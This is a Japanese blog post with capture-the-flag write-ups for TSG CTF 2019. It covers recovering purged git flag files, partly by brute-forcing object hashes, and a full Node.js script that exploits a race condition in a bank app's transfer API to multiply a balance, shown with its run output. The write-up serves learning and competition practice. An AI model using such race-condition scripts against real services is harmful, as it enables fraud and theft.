TSALVIA技術メモ

CTFのWriteupや気になったツールについて書いていきます。また、このサイトはGoogle Analyticsを利用しています。

TSG CTF Writeup

TSG CTF について

東京大学コンピュータサイエンス系学生団体TSGと株式会社FlattによるCTFの大会が開催されました。 2019年5月4日(土)午後4時〜2019年5月5日(日)午後4時(24時間)

prtimes.jp

1位から3位までのチームには、賞金が貰えるそうです。 私も参加しましたが、全然歯が立たず、2/22問しか解くことができませんでした。 結果は、370点で79/410位でした。

f:id:tsalvia:20190506204245p:plain

TSG CTF Writeup(4問)

[Warmup] Sanity Check

問題

Log in to our Discord server for TSG CTF and find the flag here:

TSG CTF のDiscordサーバー にログインして↓の場所に書いてあるフラグを送信してください。

f:id:tsalvia:20190506030546p:plain

解答例

TSG CTFのDiscodeサーバに接続して、#announcements とトピックに書かれたフラグを送信するだけのウォーミングアップ問題です。

FLAG

TSGCTF{ur_here_cuz_u_absolutely_won_inshack_ctf?}

[Forensics] Obliterated File

問題

※ This problem has unintended solution, fixed as "Obliterated File Again". Original problem statement is below.

Working on making a problem of TSG CTF, I noticed that I have staged and committed the flag file by mistake before I knew it. I googled and found the following commands, so I'm not sure but anyway typed them. It should be ok, right?

※ この問題は非想定な解法があり,"Obliterated File Again" で修正されました.元の問題文は以下の通りです.

TSG CTFに向けて問題を作っていたんですが,いつの間にか誤ってflagのファイルをコミットしていたことに気付いた!とにかく,Google先生にお伺いして次のようなコマンドを打ちこみました.よくわからないけどこれできっと大丈夫...?

Difficulty Estimate: easy

$ git filter-branch --index-filter "git rm -f --ignore-unmatch problem/flag" --prune-empty -- --all
$ git reflog expire --expire=now --all
$ git gc --aggressive --prune=now

添付ファイル(problem.zip)

解答例

添付されたzipファイルを展開すると、gitで管理されていたであろうソースコードが確認できます。 下記の記事を参考にflagファイルの復元を試してみると、あっさり復元に成功してしまいました。

$ unzip problem.zip
$ cd easy_web/
$ git rev-list -n 1 HEAD -- flag
28d2b74b0c40583a87cf275f9f0cdfd55042884d
$ git checkout 28d2b74b0c40583a87cf275f9f0cdfd55042884d^ -- flag
$ ls
README.md flag problem

ただし、flagファイルは、zlibで圧縮されているようでそのまま読み取ることができません。

$ file flag
flag: zlib compressed data

しばらくzip内のファイルを探索していると、 easy_web/problem/main.cr にzlibで圧縮されたファイルの読み取り処理がありました。

require "./src/*"
require "sqlite3"
#require "zlib"
#flag = File.open("./flag", "r") do |f|
#    Zlib::Reader.open(f) do |inflate|
#        inflate.gets_to_end
#    end
#end
flag = ENV["flag"]

`rm -rf data.db`
DB.open "sqlite3://./data.db" do |db|
    db.exec "CREATE TABLE accounts (id text primary key, pass text);"
    db.exec "INSERT INTO accounts VALUES ('admin', '#{flag}');"
end

Kemal.config.env = "production"
Kemal::Session.config.secret = ENV["session_secret"]

コメントアウトされているので、TSG CTF運営がわざと残してくれたものだと思います。せっかくなのでこれを利用して、フラグを読み取りました。

まずは、main.crを下記の通りに書き換えます。

require "zlib"
flag = File.open("../flag", "r") do |f|
    Zlib::Reader.open(f) do |inflate|
        inflate.gets_to_end
    end
end
print flag
print "\n"

下記コマンドを実行すると、フラグが表示されます。

$ crystal main.cr
TSGCTF{$_git_update-ref_-d_refs/original/refs/heads/master}

FLAG

TSGCTF{$_git_update-ref_-d_refs/original/refs/heads/master}

[Forensics] Obliterated File Again

問題

I realized that the previous command had a mistake. It should be right this time...?

さっきのコマンドには間違いがあったことに気づきました.これで今度こそ本当に,本当に大丈夫なはず......?

Difficulty Estimate: easy - medium

$ git filter-branch --index-filter "git rm -f --ignore-unmatch *flag" --prune-empty -- --all
$ git reflog expire --expire=now --all
$ git gc --aggressive --prune=now

添付ファイル(problem.zip)

解答例

Obliterated File と同様の手法では、flagファイルを復元することができませんでした。 そのため、別の案として、ハッシュ値を総当たりで git cat-file -p xxxx コマンドを実行し、flagファイルを復元する作戦を取りました。

  1. ハッシュ値を4桁分だけ求める。
  2. git cat-file -p を実行して、ファイルに書き出す。
  3. 上記を繰り返す。
# brute_git_catfile.py
import subprocess
from tqdm import tqdm

for i in tqdm(range(0xFFFF)):
    hash4 = hex(i).split('x')[1].zfill(4)
    try:
        subprocess.check_call("git cat-file -p " + hash4 + ">> git_catfile.log 2>/dev/null", shell=True)
    except:
        pass

上記のプログラムですべてのファイルを出力したので、grepで絞り込んでflagファイルを復元します。

$ python brute_git_catfile.py
100%|██████████| 65535/65535 [03:22<00:00, 323.34it/s]
$ grep flag git_catfile.log | grep blob
100644 blob c1e375244c834c08d537d564e2763a7b92d5f9a8    flag
100644 blob c1e375244c834c08d537d564e2763a7b92d5f9a8    flag
100644 blob c1e375244c834c08d537d564e2763a7b92d5f9a8    flag
100644 blob c1e375244c834c08d537d564e2763a7b92d5f9a8    flag
$ git cat-file -p c1e375244c834c08d537d564e2763a7b92d5f9a8 > flag

復元したファイルは、前の問題(Obliterated File)と同様にzlibで圧縮されているようです。 同様の方法で展開すれば、フラグを取得できます。

$ file flag
flag: zlib compressed data

FLAG

TSGCTF{$_git_update-ref_-d_refs/original/refs/heads/master_S0rry_f0r_m4king_4_m1st4k3_0n_th1s_pr0bl3m}

[Web] Secure Bank(当日は間に合いませんでした)

当日は、タイミング調整が上手くいかず、間に合いませんでした。 リクエスト回数を増やしたところ、フラグが取得できたので紹介します。

問題

I came up with more secure technique to store user list. Even if a cracker could dump it, now it should be of little value!!!

http://34.85.75.40:19292/

ユーザ情報を保存するのに、もっとセキュアな方法を思いついた気がしなくもない。 仮に全部ダンプされてしまったとしても、かなり無価値になりそうでは。

http://34.85.75.40:19292/

Difficulty estimate: Easy

require 'digest/sha1'
require 'rack/contrib'
require 'sinatra/base'
require 'sinatra/json'
require 'sqlite3'

STRETCH = 1000
LIMIT   = 1000

class App < Sinatra::Base
  DB = SQLite3::Database.new 'data/db.sqlite3'
  DB.execute <<-SQL
    CREATE TABLE IF NOT EXISTS account (
      user TEXT PRIMARY KEY,
      pass TEXT,
      balance INTEGER
    );
  SQL

  use Rack::PostBodyContentTypeParser
  enable :sessions

  def err(code, message)
    [code, json({message: message})]
  end

  not_found do
    redirect '/index.html', 302
  end

  get '/source' do
    content_type :text

    IO.binread __FILE__
  end

  get '/api/flag' do
    return err(401, 'login first') unless user = session[:user]

    hashed_user = STRETCH.times.inject(user){|s| Digest::SHA1.hexdigest(s)}

    res = DB.query 'SELECT balance FROM account WHERE user = ?', hashed_user
    row = res.next
    balance = row && row[0]
    res.close

    return err(401, 'login first') unless balance
    return err(403, 'earn more coins!!!') unless balance >= 10_000_000_000

    json({flag: IO.binread('data/flag.txt')})
  end

  post '/api/balance' do
    return err(401, 'login first') unless user = session[:user]

    hashed_user = STRETCH.times.inject(user){|s| Digest::SHA1.hexdigest(s)}
    res = DB.query('SELECT balance FROM account WHERE user = ?', hashed_user)
    row = res.next
    res.close

    return err(401, 'login first') unless row

    json({balance: row[0]})
  end

  post '/api/register' do
    return err(400, 'bad request') unless user = params[:user] and String === user
    return err(400, 'bad request') unless pass = params[:pass] and String === pass

    return err(400, 'too short username') unless 4 <= user.size
    return err(400, ':thinking_face: 🤔') unless 6 <= pass.size
    return err(400, 'too long request') unless user.size <= LIMIT and pass.size <= LIMIT

    sleep 1

    hashed_user = STRETCH.times.inject(user){|s| Digest::SHA1.hexdigest(s)}
    hashed_pass = STRETCH.times.inject(pass){|s| Digest::SHA1.hexdigest(s)}

    begin
      DB.execute 'INSERT INTO account (user, pass, balance) VALUES (?, ?, 100)', hashed_user, hashed_pass
    rescue SQLite3::ConstraintException
      return err(422, 'the username has already been taken')
    end

    return 200
  end

  post '/api/login' do
    return err(400, 'bad request') unless user = params[:user] and String === user
    return err(400, 'bad request') unless pass = params[:pass] and String === pass

    return err(400, 'too short username') unless 4 <= user.size
    return err(400, ':thinking_face: 🤔') unless 6 <= pass.size
    return err(400, 'too long request') unless user.size <= LIMIT and pass.size <= LIMIT

    hashed_user = STRETCH.times.inject(user){|s| Digest::SHA1.hexdigest(s)}
    hashed_pass = STRETCH.times.inject(pass){|s| Digest::SHA1.hexdigest(s)}

    res = DB.query 'SELECT 1 FROM account WHERE user = ? AND pass = ?', hashed_user, hashed_pass
    row = res.next
    res.close

    return err(401, 'username and password did not match') unless row

    session[:user] = user
    return 200
  end

  post '/api/logout' do
    session[:user] = nil
    return 200
  end

  post '/api/transfer' do
    return err(401, 'login first') unless src = session[:user]

    return err(400, 'bad request') unless dst = params[:target] and String === dst and dst != src
    return err(400, 'bad request') unless amount = params[:amount] and String === amount
    return err(400, 'bad request') unless amount = amount.to_i and amount > 0

    sleep 1

    hashed_src = STRETCH.times.inject(src){|s| Digest::SHA1.hexdigest(s)}
    hashed_dst = STRETCH.times.inject(dst){|s| Digest::SHA1.hexdigest(s)}

    res = DB.query 'SELECT balance FROM account WHERE user = ?', hashed_src
    row = res.next
    balance_src = row && row[0]
    res.close
    return err(422, 'no enough coins') unless balance_src >= amount

    res = DB.query 'SELECT balance FROM account WHERE user = ?', hashed_dst
    row = res.next
    balance_dst = row && row[0]
    res.close
    return err(422, 'no such user') unless balance_dst

    balance_src -= amount
    balance_dst += amount

    DB.execute 'UPDATE account SET balance = ?  WHERE user = ?', balance_src, hashed_src
    DB.execute 'UPDATE account SET balance = ?  WHERE user = ?', balance_dst, hashed_dst

    json({amount: amount, balance: balance_src})
  end
end

解答例

サーバに接続するとユーザ登録画面が表示されます。 ユーザ登録後、ログインすると以下の3つの機能が確認できます。

  • 別のユーザにお金を送金する。
  • フラグを表示する。
  • ログアウトする。

フラグの表示機能を試してみると、「earn more coins!!!」と表示されました。 どうやら何らかの方法でお金を稼げば、フラグが表示できそうです。 次にソースコードを読んでみると、以下の項目が確認できました。

  • 10,000,000,000円所持していれば、フラグ表示機能を利用できる。
  • ユーザ名やパスワードなどの入力値は、1000文字が最大値となっている。
  • ユーザ名とパスワードは、SHA1で1000回ハッシュを取った後、データベースに登録される。
  • バインドメカニズムを使用しており、SQLインジェクションができそうにない。
  • 送金処理(transfer API)に排他制御の処理がなく、なぜかsleepで1秒待つ処理がある。

送金処理の不備に着目して、お金を増やす方法を考えてみます。 下記の処理を行うことができれば、お金を倍々に増やしていくことができそうです。

  1. 2つの送金処理を同時に行う。

    • user0 が user1 に1円だけ送金する。(処理x)
    • user1 が user2 に全額送金する。(処理y)

    現在の状態:

    user0 user1 user2
    100 100 100
  2. 処理xでuser1の残高を取得する。まだ、処理yの送金処理が行われていないので、100円持っていると認識される。

  3. 処理yでuser1の残高を取得する。
  4. 処理yでuser1 から user2 に 全額送金される。

    現在の状態:

    user0 user1 user2
    100 0 200
  5. 処理xでuser0 から user1 に 1円が送金される。(2)より、user1の残高が100円だと認識しているので、user1の所持金が101円となってしまう。

    現在の状態:

    user0 user1 user2
    99 101 200

このような処理を行うでプログラムをnodejsで組みました。 以下の処理を行います。

  1. 3人分のユーザを登録する。
  2. 各ユーザでログインし、ログイン状態の保持のためcookieを保存しておく。
  3. user0 から user1に1円を送金する。 次の処理を上手く割り込めるようにするため、同時に20回のリクエストを投げる。
  4. user1 から user2 に全額送金する。
  5. user0のお金がなくならないように、user2 から user0 に20円送金する。
  6. 同様に、user2 から user1 に全額送金する。
  7. 3~6を目標金額まで繰り返す。
'use strict';
const request = require('request');
const Promise = require('promise');
const async = require('async');
const await = require('await');

function register(user, passwd) {
    const headers = {
        'Content-Type': 'application/json',
    }

    const options = {
        url: 'http://34.85.75.40:19292/api/register',
        method: 'POST',
        headers: headers,
        json: { "user": user, "pass": passwd }
    }

    return new Promise((resolve, reject) => {
        request(options, (error, response, body) => {
            if (error) {
                reject(error);
            } else {
                resolve(body);
            }
        });
    });
};

function login(user, passwd) {
    const headers = {
        'Content-Type': 'application/json',
    }

    const options = {
        url: 'http://34.85.75.40:19292/api/login',
        method: 'POST',
        headers: headers,
        json: { "user": user, "pass": passwd }
    }

    return new Promise((resolve, reject) => {
        request(options, (error, response, body) => {
            if (error) {
                reject(error);
            } else {
                const cookie = response.headers['set-cookie'][0].split(';')[0];
                resolve(cookie);
            }
        });
    });
};

function balance(cookie_string) {
    const headers = {
        'Content-Type': 'application/json',
        'Cookie': cookie_string,
    }

    const options = {
        url: 'http://34.85.75.40:19292/api/balance',
        method: 'POST',
        headers: headers,
        json: {}
    }

    return new Promise((resolve, reject) => {
        request(options, function (error, response, body) {
            if (body) {
                resolve(body.balance);
            } else if (error) {
                reject(error);
            }
        });
    });
}

function transfer(cookie_string, target, amount) {
    const headers = {
        'Content-Type': 'application/json',
        'Cookie': cookie_string,
    }

    const options = {
        url: 'http://34.85.75.40:19292/api/transfer',
        method: 'POST',
        headers: headers,
        json: { 'target': target, 'amount': amount.toString(10) }
    }

    request(options, function (error, response, body) {
        if (error)
            console.log(error);
    });
}

function sleep(ms) {
    return new Promise(resolve => setTimeout(resolve, ms));
}

(async () => {
    const users = ['bank1', 'bank2', 'bank3'];
    const passwd = 'aaaaaa';
    const cookies = [];
    const keepcount = 20;

    for (let i = 0; i < users.length; i++) {
        await register(users[i], passwd);
        let cookie = await login(users[i], passwd);
        cookies.push(cookie);
    }

    while (true) {
        // 現在の残高取得
        const balances = [];
        for (let i = 0; i < users.length; i++) {
            const money = await balance(cookies[i]);
            balances.push(money);
            console.log(users[i], money);
        }

        // 全額を送金するユーザ(users[1])に1円ずつ送金する
        for (let i = 0; i < keepcount; i++)
            transfer(cookies[0], users[1], 1); // 非同期

        // 全額をusers[2]に送金する
        await transfer(cookies[1], users[2], balances[1]);

        balances[1] = await balance(cookies[2]);
        if (balances[1] >= 10000000000)
            break;

        // 送金したお金を元に戻す
        await transfer(cookies[2], users[0], keepcount);
        await sleep(1000);
        await transfer(cookies[2], users[1], balances[1] - keepcount);
        console.log('---------------');
    }
})();

必要なパッケージのインストールと実行結果

$ npm install request promise async await
$ node secure_bank.js

# 省略

---------------
bank1 2
bank2 20
bank3 5938478442
---------------
bank1 20
bank2 1942115006
bank3 3996363441
---------------
bank1 21
bank2 1942115015
bank3 5938478427
---------------
bank1 21
bank2 5938478445
bank3 3884230001
---------------
bank1 22
bank2 20
bank3 9822708426
---------------
bank1 1
bank2 3884230001
bank3 5938478445
---------------
bank1 0
bank2 3884230017
bank3 9822708426
---------------
bank1 0
bank2 9822708458
bank3 7768459998
---------------
bank1 21
bank2 20
bank3 17591168436

お金を倍々に増やすことができました。あとは、フラグ取得APIを使ってフラグを確認します。

f:id:tsalvia:20190506203539p:plain

FLAG

TSGCTF{H4SH_FUNCTION_1S_NOT_INJ3C71V3... :(}